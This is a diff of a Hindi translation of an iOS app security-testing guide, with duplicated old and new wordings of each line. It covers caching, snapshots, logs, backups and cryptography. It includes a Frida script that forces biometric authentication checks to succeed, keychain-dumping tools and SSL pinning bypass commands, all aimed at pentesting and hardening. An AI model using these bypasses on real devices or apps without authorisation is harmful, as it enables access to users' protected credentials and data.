1. सिफारिश की जाती है कि लॉगआउट के बाद कैश की गई प्रतिक्रियाएँ हटा दी जाएं। यह Apple द्वारा प्रदान की गई विधि [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) के साथ किया जा सकता है। आप इस विधि को इस प्रकार कॉल कर सकते हैं:
|
||||
|
||||
`URLCache.shared.removeAllCachedResponses()`
|
||||
|
||||
यह विधि Cache.db फ़ाइल से सभी कैश किए गए अनुरोधों और प्रतिक्रियाओं को हटा देगी।
|
||||
|
||||
2. यदि आपको कुकीज़ के लाभ का उपयोग करने की आवश्यकता नहीं है, तो URLSession की [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) कॉन्फ़िगरेशन प्रॉपर्टी का उपयोग करना सिफारिश की जाती है, जो कुकीज़ और कैश को सहेजने को बंद कर देगी।
|
||||
2. यदि आपको कुकीज़ के लाभ का उपयोग करने की आवश्यकता नहीं है, तो URLSession की [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) कॉन्फ़िगरेशन प्रॉपर्टी का उपयोग करना सिफारिश की जाती है, जो कुकीज़ और कैश को सहेजने को अक्षम कर देगी।
|
||||
|
||||
[Apple documentation](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesn’t store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.`
|
||||
|
||||
3. कैश को [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) पर सेट करके भी बंद किया जा सकता है। यह किसी भी तरीके से कैश को स्टोर करने को बंद कर देगा, चाहे वह मेमोरी में हो या डिस्क पर।
|
||||
3. कैश को [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) पर सेट करके भी अक्षम किया जा सकता है। यह किसी भी तरीके से कैश को स्टोर करने को अक्षम कर देगा, चाहे वह मेमोरी में हो या डिस्क पर।
|
||||
|
||||
### Snapshots
|
||||
|
||||
जब भी आप होम बटन दबाते हैं, iOS **वर्तमान स्क्रीन का एक स्नैपशॉट लेता है** ताकि एप्लिकेशन में संक्रमण को बहुत सुचारू तरीके से किया जा सके। हालाँकि, यदि वर्तमान स्क्रीन में **संवेदनशील** **डेटा** मौजूद है, तो यह **छवि** में **सहेजा** जाएगा (जो **रीबूट** के दौरान **बनाए रखता** है)। ये स्नैपशॉट हैं जिन तक आप ऐप्स के बीच स्विच करने के लिए होम स्क्रीन पर डबल टैप करके भी पहुँच सकते हैं।
|
||||
जब भी आप होम बटन दबाते हैं, iOS **वर्तमान स्क्रीन का एक स्नैपशॉट लेता है** ताकि एप्लिकेशन में संक्रमण को बहुत सुचारू तरीके से किया जा सके। हालाँकि, यदि वर्तमान स्क्रीन में **संवेदनशील** **डेटा** मौजूद है, तो यह **छवि** में **सहेजा** जाएगा (जो **रीबूट** के दौरान **बचता** है)। ये स्नैपशॉट हैं जिन तक आप ऐप्स के बीच स्विच करने के लिए होम स्क्रीन पर डबल टैप करके भी पहुँच सकते हैं।
|
||||
|
||||
जब तक iPhone जेलब्रोक नहीं है, **हमलावर** को इन स्क्रीनशॉट्स को देखने के लिए **डिवाइस** **अनब्लॉक** करने की **एक्सेस** होनी चाहिए। डिफ़ॉल्ट रूप से अंतिम स्नैपशॉट ऐप के सैंडबॉक्स में `Library/Caches/Snapshots/` या `Library/SplashBoard/Snapshots` फ़ोल्डर में स्टोर किया जाता है (विश्वसनीय कंप्यूटर iOX 7.0 से फ़ाइल सिस्टम तक पहुँच नहीं सकते)।
|
||||
|
||||
इस बुरे व्यवहार को रोकने का एक तरीका यह है कि स्नैपशॉट लेने से पहले एक खाली स्क्रीन डालें या संवेदनशील डेटा को हटा दें, `ApplicationDidEnterBackground()` फ़ंक्शन का उपयोग करके।
|
||||
इस खराब व्यवहार को रोकने का एक तरीका यह है कि स्नैपशॉट लेने से पहले एक खाली स्क्रीन डालें या संवेदनशील डेटा को हटा दें `ApplicationDidEnterBackground()` फ़ंक्शन का उपयोग करके।
|
||||
|
||||
नीचे एक नमूना सुधार विधि है जो एक डिफ़ॉल्ट स्क्रीनशॉट सेट करेगी।
|
||||
|
||||
@ -570,7 +570,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
||||
|
||||
### Keychain
|
||||
|
||||
iOS की कीचेन तक पहुँचने और प्रबंधित करने के लिए, [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) जैसे उपकरण उपलब्ध हैं, जो जेलब्रोकन उपकरणों के लिए उपयुक्त हैं। इसके अतिरिक्त, [**Objection**](https://github.com/sensepost/objection) समान उद्देश्यों के लिए `ios keychain dump` कमांड प्रदान करता है।
|
||||
iOS कीचेन तक पहुँचने और प्रबंधित करने के लिए, [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) जैसे उपकरण उपलब्ध हैं, जो जेलब्रोकन उपकरणों के लिए उपयुक्त हैं। इसके अतिरिक्त, [**Objection**](https://github.com/sensepost/objection) समान उद्देश्यों के लिए `ios keychain dump` कमांड प्रदान करता है।
|
||||
|
||||
#### **Credentials को स्टोर करना**
|
||||
|
||||
@ -584,7 +584,7 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
|
||||
|
||||
## **कस्टम कीबोर्ड और कीबोर्ड कैश**
|
||||
|
||||
iOS 8.0 से, उपयोगकर्ता कस्टम कीबोर्ड एक्सटेंशन स्थापित कर सकते हैं, जिन्हें **Settings > General > Keyboard > Keyboards** के तहत प्रबंधित किया जा सकता है। जबकि ये कीबोर्ड विस्तारित कार्यक्षमता प्रदान करते हैं, वे कीस्ट्रोक लॉगिंग और डेटा को बाहरी सर्वरों पर भेजने का जोखिम पैदा करते हैं, हालांकि उपयोगकर्ताओं को उन कीबोर्ड के बारे में सूचित किया जाता है जिन्हें नेटवर्क एक्सेस की आवश्यकता होती है। ऐप्स को संवेदनशील जानकारी के प्रवेश के लिए कस्टम कीबोर्ड के उपयोग को प्रतिबंधित करना चाहिए।
|
||||
iOS 8.0 से आगे, उपयोगकर्ता कस्टम कीबोर्ड एक्सटेंशन स्थापित कर सकते हैं, जिन्हें **Settings > General > Keyboard > Keyboards** के तहत प्रबंधित किया जा सकता है। जबकि ये कीबोर्ड विस्तारित कार्यक्षमता प्रदान करते हैं, वे कीस्ट्रोक लॉगिंग और डेटा को बाहरी सर्वरों पर भेजने का जोखिम पैदा करते हैं, हालांकि उपयोगकर्ताओं को उन कीबोर्ड के बारे में सूचित किया जाता है जिन्हें नेटवर्क एक्सेस की आवश्यकता होती है। ऐप्स को संवेदनशील जानकारी के प्रवेश के लिए कस्टम कीबोर्ड के उपयोग को प्रतिबंधित करना चाहिए।
|
||||
|
||||
**सुरक्षा सिफारिशें:**
|
||||
|
||||
@ -594,29 +594,29 @@ iOS 8.0 से, उपयोगकर्ता कस्टम कीबोर
|
||||
|
||||
### **टेक्स्ट फ़ील्ड कैशिंग को रोकना**
|
||||
|
||||
[UITextInputTraits प्रोटोकॉल](https://developer.apple.com/reference/uikit/uitextinputtraits) ऑटोकरेक्शन और सुरक्षित टेक्स्ट प्रवेश को प्रबंधित करने के लिए गुण प्रदान करता है, जो संवेदनशील जानकारी कैशिंग को रोकने के लिए आवश्यक है। उदाहरण के लिए, ऑटोकरेक्शन को बंद करना और सुरक्षित टेक्स्ट प्रवेश को सक्षम करना निम्नलिखित के साथ किया जा सकता है:
|
||||
[UITextInputTraits प्रोटोकॉल](https://developer.apple.com/reference/uikit/uitextinputtraits) ऑटोकरेक्शन और सुरक्षित टेक्स्ट प्रवेश को प्रबंधित करने के लिए गुण प्रदान करता है, जो संवेदनशील जानकारी के कैशिंग को रोकने के लिए आवश्यक है। उदाहरण के लिए, ऑटोकरेक्शन को बंद करना और सुरक्षित टेक्स्ट प्रवेश को सक्षम करना निम्नलिखित के साथ किया जा सकता है:
|
||||
```objectivec
|
||||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
textObject.secureTextEntry = YES;
|
||||
```
|
||||
इसके अतिरिक्त, डेवलपर्स को यह सुनिश्चित करना चाहिए कि टेक्स्ट फ़ील्ड, विशेष रूप से संवेदनशील जानकारी जैसे पासवर्ड और पिन दर्ज करने के लिए, कैशिंग को बंद कर दें `autocorrectionType` को `UITextAutocorrectionTypeNo` और `secureTextEntry` को `YES` सेट करके।
|
||||
इसके अतिरिक्त, डेवलपर्स को यह सुनिश्चित करना चाहिए कि टेक्स्ट फ़ील्ड, विशेष रूप से संवेदनशील जानकारी जैसे पासवर्ड और पिन दर्ज करने के लिए, कैशिंग को अक्षम करें `autocorrectionType` को `UITextAutocorrectionTypeNo` और `secureTextEntry` को `YES` सेट करके।
|
||||
```objectivec
|
||||
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
|
||||
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
```
|
||||
## **Logs**
|
||||
|
||||
कोड को डिबग करते समय अक्सर **लॉगिंग** का उपयोग किया जाता है। इसमें एक जोखिम होता है क्योंकि **लॉग में संवेदनशील जानकारी हो सकती है**। पहले, iOS 6 और उससे पहले के संस्करणों में, सभी ऐप्स के लिए लॉग्स सुलभ थे, जिससे संवेदनशील डेटा लीक होने का जोखिम था। **अब, एप्लिकेशन केवल अपने लॉग्स तक पहुँचने के लिए प्रतिबंधित हैं**।
|
||||
कोड को डिबग करते समय अक्सर **लॉगिंग** का उपयोग किया जाता है। इसमें एक जोखिम होता है क्योंकि **लॉग में संवेदनशील जानकारी हो सकती है**। पहले, iOS 6 और इससे पहले के संस्करणों में, सभी ऐप्स के लिए लॉग्स सुलभ थे, जिससे संवेदनशील डेटा लीक होने का जोखिम था। **अब, एप्लिकेशन केवल अपने लॉग्स तक पहुँचने के लिए प्रतिबंधित हैं**।
|
||||
|
||||
इन प्रतिबंधों के बावजूद, **एक हमलावर जिसे अनलॉक किए गए डिवाइस तक भौतिक पहुँच है**, इसे एक कंप्यूटर से कनेक्ट करके और **लॉग्स को पढ़कर** भुनाने में सक्षम हो सकता है। यह ध्यान रखना महत्वपूर्ण है कि लॉग ऐप के अनइंस्टॉलेशन के बाद भी डिस्क पर बने रहते हैं।
|
||||
इन प्रतिबंधों के बावजूद, **एक हमलावर जिसके पास भौतिक पहुँच** है, एक अनलॉक किए गए डिवाइस का उपयोग करके इसे भुनाने के लिए डिवाइस को कंप्यूटर से कनेक्ट कर सकता है और **लॉग्स को पढ़ सकता है**। यह ध्यान रखना महत्वपूर्ण है कि लॉग ऐप के अनइंस्टॉलेशन के बाद भी डिस्क पर बने रहते हैं।
|
||||
|
||||
जोखिमों को कम करने के लिए, यह सलाह दी जाती है कि **ऐप के साथ पूरी तरह से इंटरैक्ट करें**, इसके सभी कार्यात्मकताओं और इनपुट्स का अन्वेषण करें ताकि यह सुनिश्चित हो सके कि कोई संवेदनशील जानकारी अनजाने में लॉग नहीं की जा रही है।
|
||||
जोखिमों को कम करने के लिए, सलाह दी जाती है कि **ऐप के साथ पूरी तरह से इंटरैक्ट करें**, इसके सभी कार्यात्मकताओं और इनपुट्स का अन्वेषण करें ताकि यह सुनिश्चित हो सके कि कोई संवेदनशील जानकारी अनजाने में लॉग नहीं हो रही है।
|
||||
|
||||
जब संभावित लीक के लिए ऐप के स्रोत कोड की समीक्षा करें, तो **पूर्वनिर्धारित** और **कस्टम लॉगिंग स्टेटमेंट्स** के लिए `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` जैसे कीवर्ड्स का उपयोग करें, और कस्टम कार्यान्वयन के लिए `Logging` या `Logfile` का कोई उल्लेख देखें।
|
||||
जब ऐप के स्रोत कोड की समीक्षा करते हैं संभावित लीक के लिए, **पूर्वनिर्धारित** और **कस्टम लॉगिंग स्टेटमेंट्स** की तलाश करें, जैसे कि `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` के लिए अंतर्निहित कार्यों के लिए, और किसी भी उल्लेख के लिए `Logging` या `Logfile` कस्टम कार्यान्वयन के लिए।
|
||||
|
||||
### **Monitoring System Logs**
|
||||
|
||||
ऐप्स विभिन्न प्रकार की जानकारी लॉग करते हैं जो संवेदनशील हो सकती है। इन लॉग्स की निगरानी करने के लिए, उपकरण और कमांड जैसे:
|
||||
ऐप्स विभिन्न प्रकार की जानकारी लॉग करते हैं जो संवेदनशील हो सकती हैं। इन लॉग्स की निगरानी करने के लिए, उपकरण और कमांड जैसे:
|
||||
```bash
|
||||
idevice_id --list # To find the device ID
|
||||
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||||
@ -624,7 +624,7 @@ idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||||
उपयोगी हैं। इसके अतिरिक्त, **Xcode** कंसोल लॉग एकत्र करने का एक तरीका प्रदान करता है:
|
||||
|
||||
1. Xcode खोलें।
|
||||
2. iOS डिवाइस कनेक्ट करें।
|
||||
2. iOS डिवाइस को कनेक्ट करें।
|
||||
3. **Window** -> **Devices and Simulators** पर जाएं।
|
||||
4. अपने डिवाइस का चयन करें।
|
||||
5. उस समस्या को ट्रिगर करें जिसे आप जांच रहे हैं।
|
||||
@ -634,15 +634,15 @@ idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||||
```bash
|
||||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
```
|
||||
लॉग गतिविधियों को देखने के लिए आदेशों के बाद, जो समस्याओं का निदान करने या लॉग में संभावित डेटा लीक की पहचान करने के लिए अमूल्य हो सकते हैं।
|
||||
लॉग गतिविधियों को देखने के लिए कमांड का पालन किया गया, जो समस्याओं का निदान करने या लॉग में संभावित डेटा लीक की पहचान करने के लिए अमूल्य हो सकता है।
|
||||
|
||||
## बैकअप
|
||||
|
||||
**ऑटो-बैकअप सुविधाएँ** iOS में एकीकृत हैं, जो iTunes (macOS Catalina तक), Finder (macOS Catalina से आगे) या iCloud के माध्यम से डिवाइस डेटा की प्रतियों के निर्माण को सरल बनाती हैं। ये बैकअप लगभग सभी डिवाइस डेटा को शामिल करते हैं, अत्यधिक संवेदनशील तत्वों जैसे Apple Pay विवरण और Touch ID कॉन्फ़िगरेशन को छोड़कर।
|
||||
**ऑटो-बैकअप सुविधाएँ** iOS में एकीकृत हैं, जो iTunes (macOS Catalina तक), Finder (macOS Catalina से आगे) या iCloud के माध्यम से डिवाइस डेटा की प्रतियों को बनाने की सुविधा प्रदान करती हैं। ये बैकअप लगभग सभी डिवाइस डेटा को शामिल करते हैं, जिसमें Apple Pay विवरण और Touch ID कॉन्फ़िगरेशन जैसे अत्यधिक संवेदनशील तत्व शामिल नहीं हैं।
|
||||
|
||||
### सुरक्षा जोखिम
|
||||
|
||||
**इंस्टॉल किए गए ऐप्स और उनके डेटा** का बैकअप में शामिल होना संभावित **डेटा लीक** और **बैकअप संशोधनों के कारण ऐप कार्यक्षमता में परिवर्तन** का जोखिम उठाता है। इन जोखिमों को कम करने के लिए सलाह दी जाती है कि **किसी भी ऐप के निर्देशिका या उसके उपनिर्देशिकाओं में संवेदनशील जानकारी को प्लेनटेक्स्ट में न रखें**।
|
||||
**इंस्टॉल किए गए ऐप्स और उनके डेटा** का बैकअप में शामिल होना संभावित **डेटा लीक** और **बैकअप संशोधनों के कारण ऐप कार्यक्षमता में बदलाव** का जोखिम उठाता है। इन जोखिमों को कम करने के लिए सलाह दी जाती है कि **किसी भी ऐप के निर्देशिका या उसके उपनिर्देशिकाओं में संवेदनशील जानकारी को प्लेनटेक्स्ट में न रखें**।
|
||||
|
||||
### बैकअप से फ़ाइलें बाहर करना
|
||||
|
||||
@ -650,7 +650,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
### कमजोरियों के लिए परीक्षण
|
||||
|
||||
किसी ऐप की बैकअप सुरक्षा का आकलन करने के लिए, पहले **एक बैकअप बनाएं** Finder का उपयोग करके, फिर [Apple के आधिकारिक दस्तावेज़](https://support.apple.com/en-us/HT204215) से मार्गदर्शन प्राप्त करके इसे खोजें। संवेदनशील डेटा या कॉन्फ़िगरेशन का विश्लेषण करें जो ऐप के व्यवहार को प्रभावित करने के लिए बदला जा सकता है।
|
||||
किसी ऐप की बैकअप सुरक्षा का आकलन करने के लिए, पहले **Finder का उपयोग करके एक बैकअप बनाएं**, फिर [Apple के आधिकारिक दस्तावेज़](https://support.apple.com/en-us/HT204215) से मार्गदर्शन प्राप्त करके इसे खोजें। संवेदनशील डेटा या कॉन्फ़िगरेशन का विश्लेषण करें जो ऐप के व्यवहार को प्रभावित करने के लिए बदला जा सकता है।
|
||||
|
||||
संवेदनशील जानकारी को कमांड-लाइन उपकरणों या [iMazing](https://imazing.com) जैसे अनुप्रयोगों का उपयोग करके खोजा जा सकता है। एन्क्रिप्टेड बैकअप के लिए, एन्क्रिप्शन की उपस्थिति की पुष्टि "Manifest.plist" फ़ाइल में "IsEncrypted" कुंजी की जांच करके की जा सकती है जो बैकअप की जड़ में होती है।
|
||||
```xml
|
||||
@ -665,7 +665,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
...
|
||||
</plist>
|
||||
```
|
||||
एन्क्रिप्टेड बैकअप के साथ निपटने के लिए, [DinoSec's GitHub repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts) में उपलब्ध Python स्क्रिप्ट, जैसे **backup_tool.py** और **backup_passwd.py**, उपयोगी हो सकते हैं, हालांकि नवीनतम iTunes/Finder संस्करणों के साथ संगतता के लिए समायोजन की आवश्यकता हो सकती है। [**iOSbackup** टूल](https://pypi.org/project/iOSbackup/) पासवर्ड-संरक्षित बैकअप के भीतर फ़ाइलों तक पहुँचने के लिए एक और विकल्प है।
|
||||
एन्क्रिप्टेड बैकअप से निपटने के लिए, [DinoSec's GitHub repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts) में उपलब्ध Python स्क्रिप्ट, जैसे **backup_tool.py** और **backup_passwd.py**, उपयोगी हो सकते हैं, हालांकि नवीनतम iTunes/Finder संस्करणों के साथ संगतता के लिए समायोजन की आवश्यकता हो सकती है। [**iOSbackup** टूल](https://pypi.org/project/iOSbackup/) पासवर्ड-संरक्षित बैकअप के भीतर फ़ाइलों तक पहुँचने के लिए एक और विकल्प है।
|
||||
|
||||
### ऐप व्यवहार को संशोधित करना
|
||||
|
||||
@ -695,7 +695,7 @@ $ r2 <name_of_your_dump_file>
|
||||
```
|
||||
## **रनटाइम मेमोरी विश्लेषण**
|
||||
|
||||
**r2frida** एक शक्तिशाली विकल्प प्रदान करता है जो बिना मेमोरी डंप की आवश्यकता के वास्तविक समय में एक ऐप की मेमोरी का निरीक्षण करने के लिए है। यह उपकरण चल रहे ऐप्लिकेशन की मेमोरी पर सीधे खोज आदेशों को निष्पादित करने की अनुमति देता है:
|
||||
**r2frida** एक शक्तिशाली विकल्प प्रदान करता है जो बिना मेमोरी डंप की आवश्यकता के वास्तविक समय में ऐप की मेमोरी का निरीक्षण करने के लिए है। यह उपकरण चल रहे ऐप्लिकेशन की मेमोरी पर सीधे खोज कमांड निष्पादित करने की अनुमति देता है:
|
||||
```bash
|
||||
$ r2 frida://usb//<name_of_your_app>
|
||||
[0x00000000]> /\ <search_command>
|
||||
@ -708,11 +708,11 @@ $ r2 frida://usb//<name_of_your_app>
|
||||
|
||||
### Use of Insecure and/or Deprecated Algorithms
|
||||
|
||||
डेवलपर्स को **deprecated algorithms** का उपयोग करके प्राधिकरण **checks**, **store** या **send** डेटा नहीं करना चाहिए। इनमें से कुछ एल्गोरिदम हैं: RC4, MD4, MD5, SHA1... यदि **hashes** का उपयोग पासवर्ड को स्टोर करने के लिए किया जाता है, तो उदाहरण के लिए, सॉल्ट के साथ ब्रूट-फोर्स **resistant** हैश का उपयोग किया जाना चाहिए।
|
||||
डेवलपर्स को **deprecated algorithms** का उपयोग करके प्राधिकरण **checks**, **store** या **send** डेटा नहीं करना चाहिए। इनमें से कुछ एल्गोरिदम हैं: RC4, MD4, MD5, SHA1... यदि **hashes** का उपयोग पासवर्ड को स्टोर करने के लिए किया जाता है, तो उदाहरण के लिए, हैश ब्रूट-फोर्स **resistant** होना चाहिए और इसमें सॉल्ट होना चाहिए।
|
||||
|
||||
### Check
|
||||
|
||||
मुख्य जांच करने के लिए यह है कि क्या आप कोड में **hardcoded** पासवर्ड/गुप्त जानकारी पा सकते हैं, या क्या वे **predictable** हैं, और क्या कोड कुछ प्रकार के **weak** **cryptography** एल्गोरिदम का उपयोग कर रहा है।
|
||||
मुख्य जांच करने के लिए यह है कि क्या आप कोड में **hardcoded** पासवर्ड/गुप्त जानकारी पा सकते हैं, या यदि वे **predictable** हैं, और यदि कोड कुछ प्रकार के **weak** **cryptography** एल्गोरिदम का उपयोग कर रहा है।
|
||||
|
||||
यह जानना दिलचस्प है कि आप **objection** का उपयोग करके कुछ **crypto** **libraries** को स्वचालित रूप से **monitor** कर सकते हैं:
|
||||
```swift
|
||||
@ -724,7 +724,7 @@ For **more information** about iOS cryptographic APIs and libraries access [http
|
||||
|
||||
**स्थानीय प्रमाणीकरण** एक महत्वपूर्ण भूमिका निभाता है, विशेष रूप से जब यह दूरस्थ एंडपॉइंट पर क्रिप्टोग्राफिक विधियों के माध्यम से पहुंच की सुरक्षा से संबंधित होता है। यहाँ का सार यह है कि उचित कार्यान्वयन के बिना, स्थानीय प्रमाणीकरण तंत्र को दरकिनार किया जा सकता है।
|
||||
|
||||
Apple का [**स्थानीय प्रमाणीकरण ढांचा**](https://developer.apple.com/documentation/localauthentication) और [**कीचेन**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) उपयोगकर्ता प्रमाणीकरण संवादों को सुविधाजनक बनाने और सुरक्षित रूप से गुप्त डेटा को संभालने के लिए मजबूत APIs प्रदान करते हैं। Secure Enclave Touch ID के लिए फिंगरप्रिंट ID को सुरक्षित करता है, जबकि Face ID चेहरे की पहचान पर निर्भर करता है बिना जैविक डेटा से समझौता किए।
|
||||
Apple का [**स्थानीय प्रमाणीकरण ढांचा**](https://developer.apple.com/documentation/localauthentication) और [**कीचेन**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) उपयोगकर्ता प्रमाणीकरण संवादों को सुविधाजनक बनाने और क्रमशः गुप्त डेटा को सुरक्षित रूप से संभालने के लिए मजबूत APIs प्रदान करते हैं। Secure Enclave Touch ID के लिए फिंगरप्रिंट ID को सुरक्षित करता है, जबकि Face ID चेहरे की पहचान पर निर्भर करता है बिना जैविक डेटा से समझौता किए।
|
||||
|
||||
Touch ID/Face ID को एकीकृत करने के लिए, डेवलपर्स के पास दो API विकल्प हैं:
|
||||
|
||||
@ -747,9 +747,9 @@ Touch ID/Face ID को एकीकृत करने के लिए, डे
|
||||
|
||||
iOS ऐप्स में **स्थानीय प्रमाणीकरण** को लागू करने में **कीचेन APIs** का उपयोग करना शामिल है ताकि प्रमाणीकरण टोकन जैसे गुप्त डेटा को सुरक्षित रूप से संग्रहीत किया जा सके। यह प्रक्रिया सुनिश्चित करती है कि डेटा केवल उपयोगकर्ता द्वारा, उनके डिवाइस पासकोड या जैविक प्रमाणीकरण जैसे Touch ID का उपयोग करके ही एक्सेस किया जा सके।
|
||||
|
||||
कीचेन `SecAccessControl` विशेषता के साथ आइटम सेट करने की क्षमता प्रदान करता है, जो उपयोगकर्ता द्वारा Touch ID या डिवाइस पासकोड के माध्यम से सफलतापूर्वक प्रमाणीकरण होने तक आइटम तक पहुंच को प्रतिबंधित करता है। यह सुविधा सुरक्षा बढ़ाने के लिए महत्वपूर्ण है।
|
||||
कीचेन `SecAccessControl` विशेषता के साथ आइटम सेट करने की क्षमता प्रदान करता है, जो उपयोगकर्ता के सफल प्रमाणीकरण तक आइटम तक पहुंच को प्रतिबंधित करता है, चाहे वह Touch ID हो या डिवाइस पासकोड। यह सुविधा सुरक्षा बढ़ाने के लिए महत्वपूर्ण है।
|
||||
|
||||
नीचे Swift और Objective-C में कोड उदाहरण दिए गए हैं जो दिखाते हैं कि कीचेन में एक स्ट्रिंग को कैसे सहेजें और पुनः प्राप्त करें, इन सुरक्षा सुविधाओं का लाभ उठाते हुए। उदाहरण विशेष रूप से यह दिखाते हैं कि कैसे एक्सेस नियंत्रण सेटअप किया जाए ताकि Touch ID प्रमाणीकरण की आवश्यकता हो और सुनिश्चित करें कि डेटा केवल उसी डिवाइस पर उपलब्ध हो जिस पर इसे सेट किया गया था, इस शर्त के तहत कि एक डिवाइस पासकोड कॉन्फ़िगर किया गया है।
|
||||
नीचे Swift और Objective-C में कोड उदाहरण दिए गए हैं जो दिखाते हैं कि कैसे कीचेन में एक स्ट्रिंग को सहेजना और पुनः प्राप्त करना है, इन सुरक्षा सुविधाओं का लाभ उठाते हुए। उदाहरण विशेष रूप से यह दिखाते हैं कि कैसे एक्सेस नियंत्रण स्थापित किया जाए ताकि Touch ID प्रमाणीकरण की आवश्यकता हो और सुनिश्चित करें कि डेटा केवल उसी डिवाइस पर उपलब्ध हो जिस पर इसे सेट किया गया था, इस शर्त के तहत कि एक डिवाइस पासकोड कॉन्फ़िगर किया गया है।
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -936,7 +936,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
|
||||
```
|
||||
स्थानीय प्रमाणीकरण के **bypass** को प्राप्त करने के लिए, एक Frida स्क्रिप्ट लिखी गई है। यह स्क्रिप्ट **evaluatePolicy** जांच को लक्षित करती है, इसके कॉलबैक को इंटरसेप्ट करते हुए यह सुनिश्चित करती है कि यह **success=1** लौटाए। कॉलबैक के व्यवहार को बदलकर, प्रमाणीकरण जांच को प्रभावी रूप से बायपास किया जाता है।
|
||||
|
||||
नीचे दी गई स्क्रिप्ट **evaluatePolicy** विधि के परिणाम को संशोधित करने के लिए इंजेक्ट की गई है। यह कॉलबैक के परिणाम को हमेशा सफलता को इंगित करने के लिए बदल देती है।
|
||||
नीचे दी गई स्क्रिप्ट **evaluatePolicy** विधि के परिणाम को संशोधित करने के लिए इंजेक्ट की गई है। यह हमेशा सफलता को इंगित करने के लिए कॉलबैक के परिणाम को बदलती है।
|
||||
```swift
|
||||
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
|
||||
if(ObjC.available) {
|
||||
@ -1018,31 +1018,31 @@ burp-configuration-for-ios.md
|
||||
### होस्टनेम जांच
|
||||
|
||||
TLS प्रमाणपत्र को मान्य करने में एक सामान्य समस्या यह है कि यह जांचना कि प्रमाणपत्र को **विश्वसनीय** **CA** द्वारा हस्ताक्षरित किया गया है, लेकिन **यह नहीं जांचना** कि प्रमाणपत्र का **होस्टनेम** वह होस्टनेम है जिसे एक्सेस किया जा रहा है।\
|
||||
इस मुद्दे की जांच करने के लिए Burp का उपयोग करते समय, iPhone में Burp CA को विश्वसनीय बनाने के बाद, आप **एक अलग होस्टनेम के लिए Burp के साथ एक नया प्रमाणपत्र बना सकते हैं** और इसका उपयोग कर सकते हैं। यदि एप्लिकेशन अभी भी काम करता है, तो कुछ न कुछ कमजोर है।
|
||||
इस मुद्दे की जांच करने के लिए Burp का उपयोग करते समय, iPhone में Burp CA को विश्वसनीय बनाने के बाद, आप **एक अलग होस्टनेम के लिए Burp के साथ एक नया प्रमाणपत्र बना सकते हैं** और इसका उपयोग कर सकते हैं। यदि एप्लिकेशन अभी भी काम करता है, तो इसका मतलब है कि कुछ कमजोर है।
|
||||
|
||||
### प्रमाणपत्र पिनिंग
|
||||
|
||||
यदि एक एप्लिकेशन सही तरीके से SSL पिनिंग का उपयोग कर रहा है, तो एप्लिकेशन केवल तभी काम करेगा जब प्रमाणपत्र वही हो जो अपेक्षित हो। जब एक एप्लिकेशन का परीक्षण करते समय **यह एक समस्या हो सकती है क्योंकि Burp अपना प्रमाणपत्र प्रदान करेगा।**\
|
||||
यदि एक एप्लिकेशन सही तरीके से SSL पिनिंग का उपयोग कर रहा है, तो एप्लिकेशन केवल तभी काम करेगा जब प्रमाणपत्र वही हो जो अपेक्षित हो। जब आप एक एप्लिकेशन का परीक्षण कर रहे हैं **तो यह एक समस्या हो सकती है क्योंकि Burp अपना प्रमाणपत्र प्रदान करेगा।**\
|
||||
इस सुरक्षा को बायपास करने के लिए, आप एक जेलब्रोकन डिवाइस के अंदर [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) स्थापित कर सकते हैं या [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) स्थापित कर सकते हैं।
|
||||
|
||||
आप **objection's** `ios sslpinning disable` का भी उपयोग कर सकते हैं।
|
||||
|
||||
## विविध
|
||||
|
||||
- **`/System/Library`** में आप फोन में सिस्टम एप्लिकेशनों द्वारा उपयोग किए जाने वाले फ्रेमवर्क पा सकते हैं।
|
||||
- **`/System/Library`** में आप फोन में सिस्टम एप्लिकेशन द्वारा उपयोग किए जाने वाले फ्रेमवर्क पा सकते हैं।
|
||||
- App Store से उपयोगकर्ता द्वारा स्थापित एप्लिकेशन **`/User/Applications`** के अंदर स्थित होते हैं।
|
||||
- और **`/User/Library`** में उपयोगकर्ता स्तर के एप्लिकेशनों द्वारा सहेजे गए डेटा होते हैं।
|
||||
- आप **`/User/Library/Notes/notes.sqlite`** तक पहुँच सकते हैं ताकि एप्लिकेशन के अंदर सहेजे गए नोट्स को पढ़ सकें।
|
||||
